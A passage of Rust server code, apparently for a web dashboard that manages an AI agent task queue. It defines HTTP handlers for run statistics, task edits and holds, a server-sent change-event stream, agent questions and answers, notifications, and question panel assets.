5669 fn from(c: crate::queue::TaskCounts) -> Self {
5670 Self {
5671 queued: c.queued,
5672 running: c.running,
5673 done: c.done,
5674 failed: c.failed,
5675 held: c.held,
5676 blocked: c.blocked,
5677 parked: c.parked,
5678 }
5679 }
5680}
5681
5682#[derive(Debug, Serialize)]
5688struct RepoSummaryView {
5689 repo: String,
5692 name: String,
5694 runs: usize,
5695 completion_rate: Option<RateView>,
5696}
5697
5698impl From<&stats::RepoStats> for RepoSummaryView {
5699 fn from(r: &stats::RepoStats) -> Self {
5700 let t = &r.stats.totals;
5701 Self {
5702 repo: r.repo.to_string_lossy().into_owned(),
5703 name: r.name.clone(),
5704 runs: t.runs,
5705 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5706 }
5707 }
5708}
5709
5710#[derive(Debug, Serialize)]
5716struct StatsView {
5717 totals: StatsTotalsView,
5718 agents: Vec<AgentStatsView>,
5720 reviewers: Vec<ReviewerStatsView>,
5722 advisors: Vec<AdvisorStatsView>,
5724 e2e: E2eStatsView,
5725 release_bumps: ReleaseBumpStatsView,
5726 queue: TaskCountsView,
5727 runs_unreadable: usize,
5737 repos: Vec<RepoSummaryView>,
5741 daily: Vec<DailyStatsView>,
5746 repo: Option<String>,
5750 retired_hidden: Vec<String>,
5754}
5755
5756#[derive(Debug, Serialize)]
5758struct DailyStatsView {
5759 date: String,
5761 runs: usize,
5762 merged: usize,
5763 ready: usize,
5764 other: usize,
5765 completion_rate: Option<RateView>,
5767}
5768
5769impl From<&stats::DayBucket> for DailyStatsView {
5770 fn from(b: &stats::DayBucket) -> Self {
5771 Self {
5772 date: b.date.to_string(),
5773 runs: b.runs,
5774 merged: b.merged,
5775 ready: b.ready,
5776 other: b.other,
5777 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5778 }
5779 }
5780}
5781
5782const STATS_DAILY_DAYS: usize = 30;
5784
5785#[derive(Debug, Default, Deserialize)]
5794#[serde(default)]
5795struct StatsQuery {
5796 repo: Option<String>,
5797 all: bool,
5799}
5800
5801async fn stats_get(
5808 State(ui): State<Arc<Ui>>,
5809 Query(q): Query<StatsQuery>,
5810) -> ApiResult<Json<StatsView>> {
5811 blocking(move || {
5812 let states: Vec<RunState> = run_ids(&ui.runs)
5813 .into_iter()
5814 .filter_map(|id| read_run(&ui.runs, &id).ok())
5815 .collect();
5816 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5817 .iter()
5818 .map(RepoSummaryView::from)
5819 .collect();
5820 let mut scoped: Vec<&RunState> = states.iter().collect();
5821 let mut collected = match &q.repo {
5822 Some(repo) => {
5823 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5824 if filtered.is_empty() {
5825 return Err(ApiError::not_found(format!(
5826 "no runs recorded against repo `{repo}`"
5827 )));
5828 }
5829 scoped = filtered.clone();
5830 stats::collect_refs(filtered)
5831 }
5832 None => stats::collect(&states),
5833 };
5834 if !q.all {
5835 let repo = q
5836 .repo
5837 .as_deref()
5838 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5839 stats::retain_current_roster(&mut collected, &repo);
5840 }
5841 let daily = stats::daily(
5842 scoped,
5843 jiff::Zoned::now().date(),
5844 &jiff::tz::TimeZone::system(),
5845 STATS_DAILY_DAYS,
5846 );
5847 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5848 Ok(Json(StatsView {
5849 totals: StatsTotalsView::from(&collected.totals),
5850 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5851 reviewers: collected
5852 .reviewers
5853 .iter()
5854 .map(ReviewerStatsView::from)
5855 .collect(),
5856 advisors: collected
5857 .advisors
5858 .iter()
5859 .map(AdvisorStatsView::from)
5860 .collect(),
5861 e2e: E2eStatsView::from(&collected.e2e),
5862 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5863 queue: TaskCountsView::from(queue_counts),
5864 runs_unreadable: runs_unreadable(&ui.runs),
5865 repos,
5866 daily: daily.iter().map(DailyStatsView::from).collect(),
5867 repo: q.repo.clone(),
5868 retired_hidden: collected.retired_hidden.clone(),
5869 }))
5870 })
5871 .await
5872}
5873
5874#[derive(Debug, Default, Deserialize)]
5877#[serde(default, deny_unknown_fields)]
5878struct HoldBody {
5879 reason: Option<String>,
5880}
5881
5882async fn queue_hold(
5883 State(ui): State<Arc<Ui>>,
5884 Path(id): Path<String>,
5885 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5886) -> ApiResult<Json<TaskView>> {
5887 let body = match body {
5891 Ok(Json(body)) => body,
5892 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5893 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5894 };
5895 let reason = body.reason.filter(|r| !r.trim().is_empty());
5896 mutate(ui, id, move |t| {
5897 t.hold_manual(reason.clone());
5898 Ok(())
5899 })
5900 .await
5901}
5902
5903async fn queue_release(
5904 State(ui): State<Arc<Ui>>,
5905 Path(id): Path<String>,
5906) -> ApiResult<Json<TaskView>> {
5907 mutate(ui, id, |t| {
5908 t.release_operator("web", None);
5909 Ok(())
5910 })
5911 .await
5912}
5913
5914#[derive(Debug, Deserialize)]
5915#[serde(deny_unknown_fields)]
5916struct AttemptLimitBody {
5917 attempt_limit: serde_json::Value,
5919}
5920
5921async fn queue_attempt_limit(
5922 State(ui): State<Arc<Ui>>,
5923 Path(id): Path<String>,
5924 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
5925) -> ApiResult<Json<TaskView>> {
5926 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5927 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
5928 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
5929 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
5930}
5931
5932#[derive(Debug, Deserialize)]
5933#[serde(deny_unknown_fields)]
5934struct ImplementersBody {
5935 implementers: u8,
5936}
5937
5938async fn queue_implementers(
5939 State(ui): State<Arc<Ui>>,
5940 Path(id): Path<String>,
5941 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5942) -> ApiResult<Json<TaskView>> {
5943 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5944 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5945}
5946
5947#[derive(Debug, Deserialize)]
5948#[serde(deny_unknown_fields)]
5949struct UrgentBody {
5950 urgent: bool,
5951}
5952
5953async fn queue_urgent(
5954 State(ui): State<Arc<Ui>>,
5955 Path(id): Path<String>,
5956 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
5957) -> ApiResult<Json<TaskView>> {
5958 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5959 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
5960}
5961
5962#[derive(Debug, Deserialize)]
5964#[serde(deny_unknown_fields)]
5965struct PriorityBody {
5966 priority: i32,
5967}
5968
5969async fn queue_priority(
5975 State(ui): State<Arc<Ui>>,
5976 Path(id): Path<String>,
5977 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5978) -> ApiResult<Json<TaskView>> {
5979 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5980 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5981}
5982
5983#[derive(Debug, Deserialize)]
5985#[serde(deny_unknown_fields)]
5986struct EditBody {
5987 title: String,
5988 instruction: String,
5989 #[serde(default)]
5992 force: bool,
5993}
5994
5995async fn queue_edit(
5999 State(ui): State<Arc<Ui>>,
6000 Path(id): Path<String>,
6001 body: std::result::Result<Json<EditBody>, JsonRejection>,
6002) -> ApiResult<Json<TaskView>> {
6003 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6004 let mut judged: Option<(String, PathBuf)> = None;
6008 if !body.force {
6009 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6010 let (id, text) = (id.clone(), body.instruction.clone());
6011 let (seen, hits) = blocking(move || {
6012 let id = resolve_task(&queue, &id)?;
6013 let t = queue.get(&id)?;
6014 if text == t.instruction {
6015 return Ok((None, Vec::new()));
6016 }
6017 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6018 Ok((Some((t.instruction, t.repo)), hits))
6019 })
6020 .await?;
6021 if let Some((_, repo)) = &seen {
6022 let cfg = crate::config::Config::discover(repo, None)
6023 .ok()
6024 .map(|(c, _)| c);
6025 let screened =
6026 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6027 .await
6028 .map_err(|dup| {
6029 ApiError::conflict(dup.render(
6030 "Nothing was saved. If it is not a duplicate, repeat the request \
6031 with \"force\": true.",
6032 ))
6033 })?;
6034 if let crate::dupes::Screened::Unjudged(why) = screened {
6035 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6036 }
6037 }
6038 judged = seen;
6039 }
6040 let force = body.force;
6041 mutate(ui, id, move |t| {
6042 if !force && body.instruction != t.instruction {
6043 match &judged {
6044 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6045 _ => {
6046 anyhow::bail!("the task changed while it was being checked; repeat the request")
6047 }
6048 }
6049 }
6050 t.edit(body.title.clone(), body.instruction.clone())
6051 })
6052 .await
6053}
6054
6055async fn queue_done(
6063 State(ui): State<Arc<Ui>>,
6064 Path(id): Path<String>,
6065) -> ApiResult<Json<TaskView>> {
6066 let home = ui.home.clone();
6067 mutate(ui, id, move |t| {
6068 t.succeed();
6069 crate::daemon::supersede_prior_runs(t, &home);
6077 Ok(())
6078 })
6079 .await
6080}
6081
6082async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6090 blocking(move || {
6091 let id = resolve_task(&ui.queue, &id)?;
6092 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6093 ui.queue
6094 .remove(&id, in_flight, &ui.questions)
6095 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6096 Ok(StatusCode::NO_CONTENT)
6097 })
6098 .await
6099}
6100
6101async fn mutate(
6110 ui: Arc<Ui>,
6111 id: String,
6112 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6113) -> ApiResult<Json<TaskView>> {
6114 blocking(move || {
6115 let id = resolve_task(&ui.queue, &id)?;
6116 let _claim = ui.queue.claim(&id).map_err(|e| {
6121 ApiError::conflict(format!(
6122 "{e:#} - a daemon is running this task, so it cannot be \
6123 changed from here yet; wait until it is released, then retry"
6124 ))
6125 })?;
6126 let mut task = ui.queue.get(&id)?;
6127 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6128 Ok(dup) => ApiError::conflict(dup.render(
6129 "Nothing was saved. If it is not a duplicate, repeat the request with \
6130 \"force\": true.",
6131 )),
6132 Err(e) => ApiError::bad_request_from(e),
6133 })?;
6134 ui.queue.put(&mut task)?;
6135 Ok(Json(TaskView::from(task)))
6136 })
6137 .await
6138}
6139
6140async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6148 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6149 tokio::spawn(async move {
6150 let mut ticker = tokio::time::interval(POLL);
6151 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6152 let mut stamps: Option<[Stamps; 3]> = None;
6153 loop {
6154 ticker.tick().await;
6157 let state = Arc::clone(&ui);
6158 let revisions = tokio::task::spawn_blocking(move || {
6159 let stamps = [
6160 store_stamps(state.queue.root(), false),
6161 store_stamps(&state.runs, true),
6162 store_stamps(state.talks.root(), false),
6163 ];
6164 let revisions = (
6165 stamps_revision(&stamps[0]),
6166 stamps_revision(&stamps[1]),
6167 state.questions.revision(),
6168 stamps_revision(&stamps[2]),
6169 state.notices.revision(),
6170 state.lock_loop().rev,
6174 );
6175 (revisions, stamps)
6176 })
6177 .await;
6178 let Ok((revisions, next_stamps)) = revisions else {
6179 break;
6180 };
6181 if last == Some(revisions) {
6182 continue;
6183 }
6184 let mut payload = serde_json::json!({
6185 "queue_rev": revisions.0,
6186 "runs_rev": revisions.1,
6187 "questions_rev": revisions.2,
6188 "talks_rev": revisions.3,
6189 "notifications_rev": revisions.4,
6190 "loop_rev": revisions.5,
6191 });
6192 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6193 for (index, (key, rev)) in [
6194 ("queue_delta", base.0),
6195 ("runs_delta", base.1),
6196 ("talks_delta", base.3),
6197 ]
6198 .into_iter()
6199 .enumerate()
6200 {
6201 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6202 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6204 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6205 }
6206 }
6207 }
6208 last = Some(revisions);
6209 stamps = Some(next_stamps);
6210 let Ok(event) = Event::default().event("change").json_data(payload) else {
6212 break;
6213 };
6214 if tx.send(event).await.is_err() {
6215 break;
6216 }
6217 }
6218 });
6219 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6220 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6221}
6222
6223type Stamps = HashMap<String, (u128, u64)>;
6224
6225fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6227 std::fs::read_dir(root)
6228 .into_iter()
6229 .flatten()
6230 .flatten()
6231 .filter_map(|entry| {
6232 let path = if runs {
6233 entry.path().join("run.json")
6234 } else {
6235 entry.path()
6236 };
6237 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6238 return None;
6239 }
6240 let metadata = path.metadata().ok()?;
6241 let modified = metadata
6242 .modified()
6243 .ok()?
6244 .duration_since(std::time::UNIX_EPOCH)
6245 .ok()?;
6246 let id = if runs {
6247 entry.file_name().to_string_lossy().into_owned()
6248 } else {
6249 path.file_stem()?.to_string_lossy().into_owned()
6250 };
6251 Some((id, (modified.as_nanos(), metadata.len())))
6252 })
6253 .collect()
6254}
6255
6256#[derive(Debug, Serialize)]
6257struct Delta {
6258 base: u64,
6259 changed: Vec<String>,
6260 removed: Vec<String>,
6261}
6262
6263fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6264 let mut changed: Vec<_> = next
6265 .iter()
6266 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6267 .map(|(id, _)| id.clone())
6268 .collect();
6269 let mut removed: Vec<_> = previous
6270 .keys()
6271 .filter(|id| !next.contains_key(*id))
6272 .cloned()
6273 .collect();
6274 changed.sort_unstable();
6275 removed.sort_unstable();
6276 Delta {
6277 base,
6278 changed,
6279 removed,
6280 }
6281}
6282
6283fn runs_revision(runs: &FsPath) -> u64 {
6290 stamps_revision(&store_stamps(runs, true))
6291}
6292
6293fn stamps_revision(stamps: &Stamps) -> u64 {
6297 use std::hash::{Hash as _, Hasher as _};
6298 if stamps.is_empty() {
6299 return 0;
6300 }
6301 let mut entries: Vec<_> = stamps.iter().collect();
6302 entries.sort_unstable();
6303 let mut hasher = std::hash::DefaultHasher::new();
6304 entries.hash(&mut hasher);
6305 hasher.finish().max(1)
6306}
6307
6308fn run_ids(runs: &FsPath) -> Vec<String> {
6314 let mut ids: Vec<String> = std::fs::read_dir(runs)
6315 .into_iter()
6316 .flatten()
6317 .flatten()
6318 .filter(|e| e.path().join("run.json").is_file())
6319 .map(|e| e.file_name().to_string_lossy().into_owned())
6320 .collect();
6321 ids.sort_unstable_by(|a, b| b.cmp(a));
6323 ids
6324}
6325
6326fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6328 let path = runs.join(id).join("run.json");
6329 let body =
6330 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6331 let state: RunState =
6332 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6333 run::migrate_schema(state)
6338}
6339
6340#[must_use]
6348pub fn runs_unreadable(runs: &FsPath) -> usize {
6349 run_ids(runs)
6350 .into_iter()
6351 .filter(|id| read_run(runs, id).is_err())
6352 .count()
6353}
6354
6355fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6357 if runs.join(id).join("run.json").is_file() {
6358 return Ok(id.to_owned());
6359 }
6360 pick(run_ids(runs), id, "run")
6361}
6362
6363fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6365 if queue.path_of(id).is_file() {
6366 return Ok(id.to_owned());
6367 }
6368 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6369}
6370
6371#[derive(Debug, Serialize)]
6382struct QuestionView {
6383 #[serde(flatten)]
6384 question: Question,
6385 detail_md: Vec<md::Node>,
6386 posting_view: Option<PostingView>,
6387 thread_bodies_md: Vec<Vec<md::Node>>,
6389 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6392 waiting_on_agent: bool,
6402 holder: Option<&'static str>,
6406 deputies_enabled: bool,
6410 deputy_exhausted: bool,
6413 text_delivery: crate::question_delivery::Availability,
6414 run_is_task: bool,
6417 origin_chat: Option<String>,
6420 origin_chat_closed: bool,
6422 can_consult_chat: bool,
6424}
6425
6426#[derive(Debug, Serialize)]
6427struct PostingView {
6428 before_md: Vec<md::Node>,
6429 after_md: Vec<md::Node>,
6430 fields: Vec<crate::github_text::ComparisonView>,
6431}
6432
6433fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6434 let comparison = question.posting_comparison.as_ref()?;
6435 if !comparison.matches_detail(&question.detail) {
6436 return None;
6437 }
6438 let mut ids = std::collections::BTreeSet::new();
6439 if comparison.fields.is_empty()
6440 || comparison
6441 .fields
6442 .iter()
6443 .flat_map(|f| &f.pairs)
6444 .any(|p| !ids.insert(p.id))
6445 || comparison
6446 .fields
6447 .iter()
6448 .flat_map(|f| &f.original_triggers)
6449 .any(|t| !ids.insert(t.id))
6450 {
6451 return None;
6452 }
6453 let fields = comparison
6454 .fields
6455 .iter()
6456 .map(|f| f.view(comparison.excerpt))
6457 .collect::<Option<Vec<_>>>()?;
6458 Some(PostingView {
6459 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6460 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6461 fields,
6462 })
6463}
6464
6465impl QuestionView {
6466 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6470 let base = md::ImageBase::QuestionPanel {
6471 id: question.id.clone(),
6472 };
6473 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6474 Self {
6475 detail_md: md::to_nodes(&question.detail, &base),
6476 posting_view: posting_view(&question, &base),
6477 thread_bodies_md: question
6478 .thread
6479 .iter()
6480 .map(|t| md::to_nodes(&t.body, &base))
6481 .collect(),
6482 thread_notes_md: question
6483 .thread
6484 .iter()
6485 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6486 .collect(),
6487 deputy_exhausted: store.deputy_exhausted(&question),
6488 waiting_on_agent: question.waiting_on_agent(),
6489 holder,
6490 deputies_enabled: deputies_enabled(cfg, &question),
6491 text_delivery: crate::question_delivery::availability(store, &question, cfg),
6492 run_is_task: question.run_names_task(),
6493 origin_chat: None,
6494 origin_chat_closed: false,
6495 can_consult_chat: false,
6496 question,
6497 }
6498 }
6499
6500 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6502 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6503 self.can_consult_chat = consult.is_some();
6504 let talk =
6505 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6506 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6507 self.origin_chat = talk.map(|t| t.id);
6508 self
6509 }
6510}
6511
6512fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6516 Config::discover(repo, None).ok().map(|(c, _)| c)
6517}
6518
6519fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6521 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6522}
6523
6524fn question_views(
6527 qs: Vec<Question>,
6528 store: &ask::Questions,
6529 load: impl FnOnce() -> Option<Config>,
6530) -> Vec<QuestionView> {
6531 if qs.is_empty() {
6532 return Vec::new();
6533 }
6534 let cfg = load();
6535 qs.into_iter()
6536 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6537 .collect()
6538}
6539
6540fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6550 if !q.status.open() {
6551 return None;
6552 }
6553 if q.cwd.is_none()
6554 && q.deputy.is_none()
6555 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6556 {
6557 return crate::deputy::kind_of(q).map(|_| "nobody");
6558 }
6559 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6560 Some(_) if q.deputy.is_some() => "deputy",
6561 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6562 Some(_) => "asker",
6563 None => "nobody",
6564 })
6565}
6566
6567async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6573 blocking(move || {
6574 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6575 Ok(Json(
6576 question_views(ui.questions.list(), &ui.questions, || {
6577 deputy_config(&ui.repo)
6578 })
6579 .into_iter()
6580 .map(|v| v.with_origin(&tasks, &talks))
6581 .collect(),
6582 ))
6583 })
6584 .await
6585}
6586
6587async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6590 blocking(move || {
6591 let items = ui.notices.list();
6592 let unread = items.iter().filter(|n| n.unread()).count();
6593 Ok(Json(
6594 serde_json::json!({ "unread": unread, "items": items }),
6595 ))
6596 })
6597 .await
6598}
6599
6600fn notice_error(e: anyhow::Error) -> ApiError {
6601 ApiError::not_found(format!("{e:#}"))
6604}
6605
6606async fn notification_read(
6608 State(ui): State<Arc<Ui>>,
6609 Path(id): Path<String>,
6610) -> ApiResult<Json<Notice>> {
6611 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6612}
6613
6614async fn notification_dismiss(
6616 State(ui): State<Arc<Ui>>,
6617 Path(id): Path<String>,
6618) -> ApiResult<Json<Notice>> {
6619 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6620}
6621
6622async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6624 blocking(move || {
6625 let changed = ui.notices.mark_all_read()?;
6626 Ok(Json(serde_json::json!({ "marked": changed })))
6627 })
6628 .await
6629}
6630
6631#[derive(Debug, Default, Deserialize)]
6637#[serde(default, deny_unknown_fields)]
6638struct NewAnswer {
6639 choice: Option<String>,
6640 text: Option<String>,
6641}
6642
6643async fn question_answer(
6644 State(ui): State<Arc<Ui>>,
6645 Path(id): Path<String>,
6646 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6647) -> ApiResult<Json<QuestionView>> {
6648 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6649 let answer = match (body.choice, body.text) {
6650 (Some(c), None) => Answer::Choice(c),
6651 (None, Some(t)) => Answer::Text(t),
6652 (Some(_), Some(_)) => {
6653 return Err(ApiError::bad_request(
6654 "send either `choice` or `text`, not both",
6655 ));
6656 }
6657 (None, None) => {
6658 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6659 }
6660 };
6661
6662 blocking(move || {
6663 let id = resolve_question(&ui.questions, &id)?;
6664 let q = ui
6665 .questions
6666 .get(&id)
6667 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6668 if !q.status.open() {
6669 return Err(ApiError::conflict(format!(
6673 "question {} is already {}",
6674 q.short(),
6675 q.status.as_str()
6676 )));
6677 }
6678 let cfg = deputy_config(&ui.repo);
6682 let (q, ()) = ui
6683 .questions
6684 .update(&q.id, |r| r.answer(answer))
6685 .map_err(ApiError::bad_request_from)?;
6686 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6687 Ok(Json(
6688 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6689 ))
6690 })
6691 .await
6692}
6693
6694fn question_text_error(e: anyhow::Error) -> ApiError {
6696 let reason = e
6697 .downcast_ref::<crate::question_delivery::TextUnavailable>()
6698 .map(|e| e.reason);
6699 let error = ApiError::bad_request_from(e);
6700 if let Some(reason) = reason {
6701 ApiError {
6702 text_reason: Some(reason),
6703 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6704 }
6705 } else {
6706 error
6707 }
6708}
6709
6710#[derive(Debug, Deserialize)]
6712#[serde(deny_unknown_fields)]
6713struct NewSay {
6714 body: String,
6715}
6716
6717async fn question_say(
6727 State(ui): State<Arc<Ui>>,
6728 Path(id): Path<String>,
6729 body: std::result::Result<Json<NewSay>, JsonRejection>,
6730) -> ApiResult<Json<QuestionView>> {
6731 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6732 blocking(move || {
6733 let id = resolve_question(&ui.questions, &id)?;
6734 let q = ui
6735 .questions
6736 .get(&id)
6737 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6738 if !q.status.open() {
6739 return Err(ApiError::conflict(format!(
6743 "question {} is already {}",
6744 q.short(),
6745 q.status.as_str()
6746 )));
6747 }
6748 let cfg = deputy_config(&ui.repo);
6751 let (q, ()) = ui
6752 .questions
6753 .update(&q.id, |r| {
6754 if body.body.trim().is_empty() {
6755 return r.say(body.body);
6756 }
6757 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6758 r.say(body.body)
6759 })
6760 .map_err(question_text_error)?;
6761 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6762 Ok(Json(
6763 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6764 ))
6765 })
6766 .await
6767}
6768
6769async fn question_consult(
6778 State(ui): State<Arc<Ui>>,
6779 Path(id): Path<String>,
6780) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6781 let (view, reclaimed) = blocking({
6782 let ui = Arc::clone(&ui);
6783 move || {
6784 let id = resolve_question(&ui.questions, &id)?;
6785 let q = ui
6786 .questions
6787 .get(&id)
6788 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6789 if !q.status.open() {
6790 return Err(ApiError::conflict(format!(
6791 "question {} is already {}",
6792 q.short(),
6793 q.status.as_str()
6794 )));
6795 }
6796 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6797 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6798 return Err(ApiError::conflict(format!(
6799 "question {} has no chat to ask",
6800 q.short()
6801 )));
6802 };
6803 let cfg = if q.consult.is_none() {
6807 Some(Config::discover(&talk.repo, None)?.0)
6808 } else {
6809 None
6810 };
6811 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6812 let claim = if fresh {
6813 match ui.begin_queued_talk_turn(&talk.id)? {
6814 Some(turn_guard) => {
6815 let talk = ui.talks.get(&talk.id)?;
6816 let cfg = match cfg {
6817 Some(cfg) => cfg,
6818 None => Config::discover(&talk.repo, None)?.0,
6819 };
6820 Some((talk, cfg, turn_guard))
6821 }
6822 None => None,
6823 }
6824 } else {
6825 None
6826 };
6827 let q = ui.questions.get(&q.id)?;
6828 let cfg = deputy_config(&ui.repo);
6829 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6830 Ok((view, claim))
6831 }
6832 })
6833 .await?;
6834 if let Some((talk, cfg, turn_guard)) = reclaimed {
6835 let talks = ui.talks.clone();
6836 let id = talk.id.clone();
6837 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6838 }
6839 Ok((StatusCode::ACCEPTED, Json(view)))
6840}
6841
6842fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6844 if store.path_of(id).is_file() {
6845 return Ok(id.to_owned());
6846 }
6847 pick(
6848 store.list().into_iter().map(|q| q.id).collect(),
6849 id,
6850 "question",
6851 )
6852}
6853
6854async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6869 blocking(move || {
6870 let id = resolve_question(&ui.questions, &id)?;
6871 let Some(html) = ui.questions.panel_html(&id) else {
6872 return Err(ApiError::not_found(format!("question {id} has no panel")));
6873 };
6874 Ok(panel_response(
6875 "text/html; charset=utf-8",
6876 false,
6877 html.into_bytes(),
6878 ))
6879 })
6880 .await
6881}
6882
6883async fn question_asset(
6911 State(ui): State<Arc<Ui>>,
6912 Path((id, name)): Path<(String, String)>,
6913) -> ApiResult<Response> {
6914 if !crate::ask::valid_asset_name(&name) {
6917 return Err(ApiError::bad_request(format!(
6918 "`{name}` is not a usable asset name"
6919 )));
6920 }
6921 blocking(move || {
6922 let id = resolve_question(&ui.questions, &id)?;
6923 let asset = ui
6924 .questions
6925 .panel_asset(&id, &name)
6926 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6927 let Some(bytes) = asset else {
6928 return Err(ApiError::not_found(format!(
6929 "question {id} has no asset `{name}`"
6930 )));
6931 };
6932 Ok(panel_response(
6933 asset_content_type(&name),
6934 is_svg(&name),
6935 bytes,
6936 ))
6937 })
6938 .await
6939}
6940
6941fn asset_content_type(name: &str) -> &'static str {
6954 match extension(name).as_deref() {
6955 Some("png") => "image/png",
6956 Some("jpg" | "jpeg") => "image/jpeg",
6957 Some("gif") => "image/gif",
6958 Some("webp") => "image/webp",
6959 Some("svg") => "image/svg+xml",
6960 Some("css") => "text/css; charset=utf-8",
6961 Some("txt") => "text/plain; charset=utf-8",
6962 _ => "application/octet-stream",
6963 }
6964}
6965
6966fn is_svg(name: &str) -> bool {
6969 extension(name).as_deref() == Some("svg")
6970}
6971
